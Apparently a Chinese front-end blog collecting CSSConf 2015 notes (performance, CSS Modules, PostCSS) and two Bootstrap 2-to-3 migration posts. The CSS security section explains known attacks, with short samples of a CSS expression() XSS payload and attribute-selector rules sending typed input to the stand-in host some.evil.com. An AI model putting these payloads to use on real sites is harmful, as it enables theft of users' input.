CSSConf 2015 筆記(三) – Performance 及其他

除了前兩部分 PostCSS 和 CSS Modules 之外,這次 Conf 的方向,怎麼說呢,應該說『分歧』吧。有些人致力於把人工比重減到最低,另一群人繼續苦苦琢磨 hand craft 的奇技淫巧,兩者往完全相反的方向前進…。或許就如神同事所說,CSS 正走到一個摸索未來發展的階段,這沒有不好,代表你可以依照不同的專案需求,自己挑選適合的路。不過還是有些內容對各方都有幫助,整理一下。

CSS Performance

這個 session 講者比較強調的重點,是要減少 CSS 的寫法讓畫面重繪的次數和面積。例如:

  • 將 :hover selector 下在面積比較小的 element 上
  • 在捲動的時候關掉 hover 事件的 listener
  • 注意捲動時有哪些 element 被重繪
  • 把經常更動的 element 放在檔案前面也有幫助
  • 注意 position:fixed 和 scrollable 的 element 會常常被重繪
  • 動畫造成的重繪,可以用以下方法提醒 Browser 要提早 optimize 資源:
    .move-elem {
      will-change: transform;
    }
    .move-elem {
      transform: translateZ(0);
    }
    

《原始投影片》

CSS Class Name Magic and CSS Security

這個 session 講者提出了幾個不為人知但早已存在的 CSS fun facts 外,也提醒 CSS 可能的安全性問題。

  • 可以重複同一個 selector 來取代 !important
    .bar {
      background: blue !important;
    }
    /* 下面選到的也是 .bar */
    .bar.bar.bar.bar.bar {
      background: blue;
    }
    
  • 有空格的 font-family 名稱其實不需要引號
    div {
      font-family: Comic Sans MS;
    }
    
  • 單行註解可以 work,因為不會被正確解析反而達到註解效果
    div {
    /* 正確的註解 */
    // 單行註解
    }
    
  • 用 escape 可以寫出奇奇怪怪的 class name
    螢幕快照 2016-02-19 下午5.02.26
    螢幕快照 2016-02-19 下午5.04.02
  • 最重要的是早期的 CSS expression 或 background-image 可能成為駭客攻擊的管道。例如:
    <meta http-equiv='x-ua-compatible' content='IE=7'>
    <!-- 通常都設成 content='IE=edge',這邊刻意設成 IE=7,瀏覽器就兼容 IE7 了-->
    
    div {
      width: expression(
       open('http://some.evil.com?v=a');
        alert('XSS');
      );
    }
    

    以下是一個用 css 偷 input 資料的 demo
    http://eaea.sirdarckcat.net/cssar/v2/

    它原理是利用屬性讀取 CSS selector [value^=”a”],讀取 26 個字母,每當 user 打一個字母,CSS 就 apply 這個字母的 background-image,但 background-image 的路徑指向駭客網站,剛好把 user 打的值送過去,真的很厲害啊!

     input[value^='a'] { background-image: url('//some.evil.com?v=a'); }
     input[value^='b'] { background-image: url('//some.evil.com?v=b'); }
    

《原始投影片》

廣告

CSSConf 2015 筆記(二) – CSS Modules

CSS Modules 是過去一兩年來 CSS 領域最夯的話題了,尤其是 Web App 成長的速度高過 Content Site,CSS 層疊、覆寫、繼承的特性沒有幫到 Web App 反而造成污染,衍生了維護和 performance 方面的議題。兩位 CSS Modules 的作者從頭說起,分析從 global CSS  到 local CSS 的演變。

Document vs. Web App

所有學習 CSS 的人都知道 CSS Zen Garden,這是 web document 的代表。global CSS 對 document 來講沒什麼不好,每個篇章能簡潔地共用一份樣式。但 document 和 web app 最大的差異在 scale,善於寫樣式的人未必善於處理 scale。web app 結構複雜得多,巢狀和 reuse 也更頻繁,global CSS 有很大機率造成 class name 衝突和意外的繼承。

The End of Global CSS and The Rise of Modular CSS

開發社群過去嘗試過許多手段來解決這個問題,如 SMACSS, OOCSS, SUIT, BEM,甚至 inline styles。Sass 試圖以 @import partials 解決,但它只處理到 CSS,而且最後產出的仍是 global CSS。既然目前 web app 大量仰賴 Angular directive 和 React,作者提出未來(就是現在!)是 “component" 的時代,component 不是新東西,舉個簡單的例子,一個 <select> 下拉選單也可以看成一個 component。

當一個 project 使用許多 component 時,每個 component 的成員包含 js + css + images,所有圖片和 CSS 應該都只讓使用它們 component 看到 (CSS and images should be private to the components)。BEM 命名法與 React 合作良好,BEM 的 B (Block) 相當於 React 的各個 component。螢幕快照 2016-02-12 上午2.04.36

講者認為目前實踐 CSS Modules 的最佳工具是 Webpack,它能建立一條龍的 css/images/js 工作流程。
所以 CSS Modules 不像 Sass, PostCSS 是個 processor 可以用 npm 安裝,它是一種方法論,實踐這個方法論要用多種工具,Webpack 是其中最重要的一種。

在 Webpack 工作流程下,CSS 要在每個 component 裡這樣寫:

/* .myComponent.css */

:local(.className) {
 background: red;
 color: yellow;
}

經 Webpack hash 處理後變成類似這樣:

.myComponent__className_23_aKvs-b8bW2Vg3fwHozO {
  background: red;
  color: yellow;
}

也就是 Webpack 做了 BEM 的事情,但 BEM 是人工手動做, Webpack 是工具自動化地做,用 load javascript module 類似的方法處理 CSS,翻譯成機器看懂的語言。

Webpack 用到的主要套件是 css-loader,加上參數 module 來啟動 CSS Module 的處理:

/* webpack.config.js */

var css = require('css!./myComponent.css');
....
module.exports = {
  module: {
    loaders: [
      ...
      { test: /\.css$/, loader: ExtractTextPlugin.extract('style-loader', 'css-loader?importLoaders=1&localIdentName=[name]__[local]___[hash:base64:5]') }
      ...
    ]
  },
....
}

因此任何 local CSS 都會得到獨一無二的 class name,繼承和層疊特性在 CSS Modules 完全被消滅,你不該期待與其他幾個 class 組合來補足缺少的樣式,每個 component 自己該有的樣式要全部寫好。
(以上只是觀念解說,我 Webpack 並不厲害,請勿當說明書看,看原版文件才是正辦)

https://github.com/css-modules/css-modules
https://github.com/webpack/css-loader

這裏有 demo:
https://github.com/css-modules/webpack-demo

有時候終究某些樣式需要維持 global,或需要用到第三方套件,關鍵字 :global 語法如下:

:global (.bodyClass) {
  background-color: gray;
}

這樣就不會被 Webpack 給予 hash name,而會被 compile 成 .bodyClass {}。
可以用 composes 組合多個來源的 CSS class:

:local(.className) {
  composes: edit hightlight from "./edit.css";
  composes: button from "module/button.css";
  composes: classFromThisModule;
  background: red;
}

在 React 這樣去取用樣式:

/* component/myComponent.jsx */

import styles from "./style.css";
// import { className } from "./style.css";

element.innerHTML = '<div class="' + styles.className + '">';

因為 CSS Modules 是蠻新的觀念,聽眾都很關心後續發展,問的問題都很厲害,記錄一下:
Q:要如何 debug?
A:自己拆分的 component,你應該會知道他來自哪個 module,撞名、不小心繼承問題也不存在,bug 只來自 global css 或是某個特定 module,並沒有交互污染的問題。至於如何拆分 component? It’s art.

Q:從 npm 安裝,到我的網站可以有個會動的 jquery date picker 這樣的東西需要多久?
A:jquery 套建中 CSS 某些部分可以當作 global 處理。

Q:可以和 bootstrap 這類的 framework 一起用嗎?
A:bootstrap 的思維是 global CSS,我們期待會有新一代的、符合 modular 思維的 framework 被發展出來。

看起來尚未有任何 framework 可以快速上手,只有自製的 CSS 有可能以 CSS Modules 的方法來管理。

《原始影片》


CSSConf 2015 筆記(一) – PostCSS

PostCSS 剛推出時定位很令人疑惑,它不像 Sass, Less 是 Preprocessor,而比較像是一個平台,或者說是 API,本身沒有特定的功能或語法,但可以依照需求裝上各式各樣的 plugin,整合於 node 流程。講者頻頻把 “PostCSS does nothing”當作笑點其實也只有三分是事實啦。幾個基本的部分與一般 CSS 沒什麼不同,除了 :root 可能在宣告變數時當作 scope 來用。

  • root
    :root {
     --array: foo, bar, baz;
     --from: 1;
     --to: 3;
     --icon-exclude: 2;
     --color-danger: red;
    }
    
  • rules
  • declaration
  • comment

既然“PostCSS does nothing”,他到底有什麼好處呢,又比 Sass 好在哪裡呢?因為他是純 javascript 生態系,不需像 Sass/Compass 需要安裝 Ruby,在整個 node 環境中可以和 javascript framework 或 Plugin 用同一套流程來管理。(話說 Ruby 難道不能形成自己的生態系嗎?也許不幸輸給 javascript 了 )

既然 PostCSS 唯有開外掛才能威力百倍,就來介紹幾個不錯的外掛:

  • postcss-simple-vars – 這個是一定要裝的,用 $ 宣告變數(PostCSS 變數宣告是 —foo)
  • cssnano – minify css
  • cssnext –  可使用未來的 CSS(4?) 語法,套件會 compile 成目前的語法

為喜愛寫 Sass 的人所設計,只是它不需要 Ruby

  • precss –  可以寫 preprocessor 的語法,這點可以用來整合舊專案的 code
  • cssnesting – 可以寫像 Sass 的巢狀語法
  • postcss-at-rules-variables – 可以寫類似 Sass “@"小老鼠語法,用在簡單的迴圈、if/else 等  https://github.com/GitScrum/postcss-at-rules-variables

搞怪套件:

這些套件都可以透過 npm 安裝,https://www.npmjs.com/search?q=postcss

$ npm install --save-dev gulp-postcss

用 gulp 來管理 workflow:

var postcss = require('gulp-postcss');
gulp.task('styles', function () {
  return gulp.src('path/to/dev/style.css')
  .pipe(postcss([]))
  .pipe(gulp.dest(path/to/prod))
});

 

《原始影片》

Bootstrap 2.x 與 3 的重要差異(二):grid系統的變革

上一篇 提到了 Bootstrap 2.x 到 3 整體來說有那些變動,本文把焦點放在新的 grid system。

grid系統的變革

移除了 .container-fluid 和 .row-fluid,全部都是 fluid 容器

v3 沒有分 fluid 和 non-fluid ,所以移除了 .container-fluid.row-fluid 兩個大框架容器,所有都是 fluid。

例如做 nesting column 時,大的 grid 裡面某一塊要包小 grid ,v2.x 裡面一層得寫 .row-fluid,才能在小區塊內使用12欄 grid;但 v3 只要 .row > .row > .row…… 一層層包下去就行了。

各種裝置可以有不同的佈局

v2.x 和 v3 的 grid 都是12欄。不同之處在於,v2.x 裡,grid 系統的 .span* 固定了各欄在頁面上的比例,跨裝置也一樣,比如說某一頁中間欄佔2/3,右邊側欄1/3,就這樣佈局:

 <div class="row">  
    <div class="span8"></div>  
    <div class="span4"></div>  
 </div>  

desktop (v2.x)

3-2-1

mobile (v2.x)

3-2-1-phone

這樣雖然簡單易懂,但如此一來在桌面或平板,中欄和右欄的比例都維持一定,在手機又全部展開成單欄 (Stacking) ,佈局上的彈性少一點。

實做上我遇過的問題,就是縮小到tablet 版面的狀況下,右側欄的內容太擠。舉例來說,v3 之後有機會改成:桌面版中欄與側欄是 3 : 1,到了平板,中欄與側欄改為 2 : 1 。

v3 裝置間有四個切換階段:

  • mobile – xs ( <768px )
  • tablet – sm ( 768~991px )
  • desktop – md ( 992~1170px )
  • large desktop – lg ( >1170px )

所有和 responsive 相關的 class 都以 xs, sm, md, lg 為後綴,如 .col-md-6 .hidden-xs,命名模式一致比較好辨認。

四個階段中,你可以設定混合的佈局,例如同一頁的桌面版有三欄,每欄占1/3;但到手機版時每欄各占版面的1/2,就可以這樣設定:

 <div class="row">  
    <div class="col-xs-6 col-md-4"></div>  
    <div class="col-xs-6 col-md-4"></div>  
    <div class="col-xs-6 col-md-4"></div>  
 </div>  

desktop (v3)

3-1-1-1

mobile (v3)

2-1-1-phone

.col-xs-*  是專為手機版面分兩欄以上而準備的,這樣就手機也能使用 grid,不限於單欄。

如果要 desktop, tablet, mobile 佈局都不同也沒問題,例如我要做 desktop 和 tablet 都三欄均分,mobile 變成兩欄

 <div class="row">  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
     <div class="col-xs-6 col-sm-4 col-md-4"></div>  
 </div>  

desktop, tablet (v3)

3-1-1-1-mix

mobile (v3)

2-1-1-mix-phone

這樣就是『desktop 和 tablet 都三欄均分,mobile 變成兩欄』的意思。

平移用的 offset 依然存在,只是不再是分開的 class  .offset*,而是嵌在 class name 中間像 .col-md-offset-4 這樣。

如果不想這麼複雜,而想沿用 v2.x 的 grid 行為,只要單獨設 .col-md-* 就行了,到手機版時也會順利變成單欄。

下面這張表應該好好看一下,這是 Bootstrap 3 官方文件 grid system 新行為的大整理

  • Horizontal at all times: 不管在任何裝置上,欄都是並排
  • Collapsed to start, horizontal above breakpoints: 最小裝置是單欄,到了切換點以上欄就並排

Grid options

grid-table

新舊 class 名稱的完整對照,網路上已經有很多文章刊登,如 Bootstrap 3 Migration Guide ,就不重覆貼了。

非 responsive的做法

有時候還是需要不跨裝置的版面,要關掉預設的 responsive 機制,有幾個手動的步驟要做:

原文連結 Disable Responsvie

  1. 拿掉<meta>裡的 viewport 設定。
  2. 改掉 .container 的 max-width 並確保它不作用,改成 max-width: none !important;。再設定一個固定寬度,如 width: 970px。這些設定順序要在後,才能蓋掉 Bootstrap 的預設。
  3. 如果用了 navbar,要關掉所有讓 navbar 在不同裝置收合的 css 和 javascript  (太多要改!! )。
  4. 只用 .col-xs-* 來設定欄,因為它從手機到桌面各欄都能並排,不會 stacking 成單欄,而且會照比例放大。
  5. IE8 還是要用 respond.js,以讀取 media queries。

實例 Non-responsive Grid Demo

其實挺麻煩的,畢竟 Bootstrap 天性是個 responsive framework 呀。

《資料來源》

http://blog.getbootstrap.com/2013/08/19/bootstrap-3-released/
http://bootply.com/bootstrap-3-migration-guide
以下這篇是 Bootstrap 3 釋出後google到的第一篇中文心得,感謝這位前輩的引導
http://indreamhk.blogspot.tw/2013/06/bootstrap-3.html

Bootstrap 2.x 與 3 的重要差異(一):Overview

Bootstrap 從 v2.x 版更新到 v3,感覺像是全新的另一套 framework,主要是核心部分的 grid 系統完全翻修,提供各個裝置佈局上更多彈性。另外,以 mobile 為先,預設值都以mobile為基礎來考量。官方部落格 提到 v3 有14項嶄新特色,本文就影響較大的幾項做個整理,如果有精通 Bootstrap 的前輩路過,還請不吝指正。

grid系統的變革

v3 移除了 .container-fluid.row-fluid 兩個大框架容器,因為全部都是 fluid 容器 。最大的躍進是,各種裝置可以有不同的佈局,在 v2.x 裡 grid 的欄在頁面上的比例是固定的,比如說某一頁中間欄佔2/3,右邊側欄1/3,手機又全部展開成單欄 (Stacking)。

實做上我遇過的問題,就是縮小到 tablet 版面的狀況下,側欄的內容太擠;手機全部展開成單欄,內容又太寬鬆,尤其在大尺寸手機上看起來相當怪 。這樣雖然簡單易懂,但佈局上的彈性少一點。

到了 v3,我們可以設定混合的佈局,例如同一頁的桌面版有三欄,每欄占1/3;但到手機版時每欄各占版面的1/2。

desktop (v3)

3-1-1-1

mobile (v3)

2-1-1-phone

若不需要跨裝置的版面,要關掉預設的 responsive 機制是可行的,有幾個手動的步驟要做。其實挺麻煩的,畢竟 Bootstrap 天性是個 responsive framework 呀。

Grid system 的變化細節很多,這留到 下一篇 去講。

跨瀏覽器支援

瀏覽器方面,v3 不再支援 IE7 和 Firefox 3.6,而 IE8 因為無法讀取 media queries,仍然需要 respond.js 使其正常運作。

在實做期間發現 respond.js 有個地雷,就是如果以 @import 方式從一個 css 讀入另一個 css,respond.js 無法運作於 @import 進來的 css 。

外觀因應潮流

佈景主題

Bootstrap 3 有新的 theme,但不是整套 framework 有主題可供選擇,而是部分元件可依使用情境,藉由抽換 class 來顯示不同的色系。例如 panel 就有各種顏色,以下這頁是 Theme 的大閱兵:

Bootstrap Theme Example

整體來說,Bootstrap 3 的設計風格因應業界趨勢,朝向扁平化發展。就像 iOS 7 一樣,有大陸開發者戲稱『霧濛濛看起來就像北京的天氣』,是有抓到幾分這種感覺啦。然而,對需要重度客製化的網站而言,輕量的預設樣式是一大福音,Bootstrap 2.x 就因為許多漸層、濾鏡、圓角設定,必須自寫大量 css 才能 override 它。

icon字型 (iconfont)

Bootstrap 2.x 用 png 圖片製作,現在進步到先將 icon 製作成字型檔 (eot, svg, ttf, woff),然後在 bootstrap.css 以內碼方式引入,像這樣:

 .glyphicon-asterisk:before {  
   content: "\2a";  
 }  

字型轉 class, Bootstrap全幫我們做好了,使用時 html 要組合兩個 class,例如

 <span class="glyphicon glyphicon-thumbs-up"></span>  

CSS元件的變動

navigation 翻修

navigation 不需要再以 .navbar-inner 包覆,少了一層免除操作困擾。有個蠻好用的新東西叫 .nav-justified,可以做寬度均分的橫向選單。還有相當流行的 fix-to-topfix-to-bottom navigation,也就是網頁捲動時,選單可以黏在視窗上方或下方,這樣就不用自己找套件或多寫 css 和 javascript 了。

新增 panel、list-group、移除 accordion

  • panel 的用途,主要是把其他物件整包放進框框裡,表單、選單、說明框都可以丟進去。
  • list-group 取代原來的 nav-list ,選單內有更多變化,可裝進計數器、內容簡述等等,很顯然是為 mobile 介面準備的。
  • accordion 被移除了,合併到 collapsible panel 裡,結構上變成以 collapse.js 去操作 panel。

另有幾項小的預設值變動,像是 image 不再自動 responsive,除非加上 .img-responsive 才自動伸縮;又如 button 要加上 <button class="btn btn-default“> 才有預設 button 樣式。

javascript元件的變動

  • 原來做輸入框自動完成的 Typeahead 拿掉了,直接用 Twitter Typeahead
  • modal 對話框,有時當 lightbox 來用,在 v2.x  內容高度是固定的,現在改為內容可捲動,且適應 viewport 的高度。
  • Tab 不用再寫 data-toggle 屬性。
  • 所有的 javascript event 都加上了 namespace ,以避免衝突。

其他

v3 提供超強的客製原始碼工具,可自己取捨一些元件,連 LESS 的變數都可以先設,然後輸出成 .less 檔。目前還沒有 SASS 版本釋出,真令人望穿秋水啊。

《資料來源》

http://blog.getbootstrap.com/2013/08/19/bootstrap-3-released/
http://bootply.com/bootstrap-3-migration-guide
以下這篇是 Bootstrap 3 釋出後google到的第一篇中文心得,感謝這位前輩的引導
http://indreamhk.blogspot.tw/2013/06/bootstrap-3.html